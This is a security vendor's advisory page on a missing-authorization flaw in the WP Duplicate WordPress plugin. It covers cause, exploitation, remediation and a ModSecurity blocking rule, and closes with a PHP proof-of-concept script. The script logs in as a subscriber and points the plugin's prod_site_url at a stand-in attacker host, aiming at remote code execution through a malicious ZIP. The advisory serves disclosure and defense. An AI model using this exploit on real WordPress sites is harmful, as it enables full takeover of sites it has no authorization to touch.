Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-85776 (metadata-based): CVE-2026-85776 is a missing authorization vulnerability in the WP Duplicate WordPress Migration Plugin (slug local-sync) versions up to and including 1.1.11. The flaw affects four AJAX actions (start_zip_creation, start_zip_download, local_sync_get_init_root_files, local_sync_get_files_by_key) handled by the start_zip_creation_dev() function and siblings. An authenticated attacker with subscriber-level access can manipulate the plugin’s prod_site_url setting and enumerate server directories. When chained with an administrator-triggered sync, this leads to remote code execution. The CVSS score is 7.5 (High) with vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
Root Cause: The CWE-862 classification and description confirm that the vulnerable AJAX handlers lack both a capability check (e.g., current_user_can(‘manage_options’)) and a nonce check (check_ajax_referer). This allows any authenticated user, regardless of role, to invoke these actions. The description explicitly states the functions start_zip_creation_dev() and sibling functions are affected. Atomic Edge analysis infers that the handlers directly process user input to update the prod_site_url option without verifying user privileges. The directory enumeration is likely due to unsanitized path parameters passed to filesystem functions. No code diff is available, so the exact implementation details of the missing checks and input handling are inferred from the CWE and vulnerability description.
Exploitation: An attacker with subscriber-level credentials sends POST requests to /wp-admin/admin-ajax.php with the action parameter set to start_zip_creation, start_zip_download, local_sync_get_init_root_files, or local_sync_get_files_by_key. For start_zip_creation, the attacker supplies a parameter such as prod_site_url pointing to an attacker-controlled host. For the directory enumeration actions, parameters like root or key are manipulated to traverse directories. The attacker then waits for or induces an administrator to trigger a sync operation. The plugin fetches a ZIP archive from the attacker’s host and extracts it via a bridge deployed under the web root, resulting in remote code execution. The CVSS vector indicates network access, high attack complexity (due to the need for administrator interaction), low privileges required, and high impact on confidentiality, integrity, and availability.
Remediation: The fix requires adding proper authorization checks to the affected AJAX handlers. Each handler must verify a valid nonce (using check_ajax_referer) and check the user’s capabilities (e.g., current_user_can(‘manage_options’)) before processing. The prod_site_url setting should be validated and sanitized to prevent arbitrary host assignment. Directory enumeration functions must restrict path traversal and only operate within intended directories. Atomic Edge research indicates that without these checks, the plugin remains vulnerable to privilege escalation and remote code execution.
Impact: Successful exploitation allows a subscriber-level attacker to overwrite the prod_site_url setting, leading to the fetch and extraction of a malicious ZIP archive from an attacker-controlled server. The extracted bridge under the web root enables remote code execution, granting the attacker full control over the affected site. This can lead to data theft, site compromise, and further lateral movement. The CVSS vector reflects high confidentiality, integrity, and availability impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-85776 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:202685776,phase:2,deny,status:403,chain,msg:'CVE-2026-85776 via WP Duplicate AJAX action',severity:'CRITICAL',tag:'CVE-2026-85776'"
SecRule ARGS_POST:action "@streq start_zip_creation" "chain"
SecRule ARGS_POST:prod_site_url "@rx ^https?://" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-85776 - WP Duplicate <= 1.1.11 - Missing Authorization to Authenticated (Subscriber+) Remote Code Execution via 'start_zip_creation' AJAX Action
// This PoC demonstrates overwriting the prod_site_url setting via the vulnerable AJAX action.
// Assumptions: WordPress site with WP Duplicate plugin version <= 1.1.11, attacker has subscriber credentials.
// The PoC sends a POST request to admin-ajax.php with the action 'start_zip_creation' and a parameter to set prod_site_url to an attacker-controlled host.
$target_url = 'http://example.com'; // Change to target WordPress site URL
$username = 'subscriber'; // Subscriber username
$password = 'password'; // Subscriber password
// Step 1: Log in to WordPress to obtain authentication cookies.
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Send AJAX request to overwrite prod_site_url.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'start_zip_creation',
'prod_site_url' => 'http://attacker.example.com' // Attacker-controlled host
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Response: " . $response . "n";
// The attacker then hosts a malicious ZIP archive at http://attacker.example.com/ and waits for an administrator to trigger a sync.
// The plugin will fetch and extract the ZIP, deploying a bridge under the web root.
?>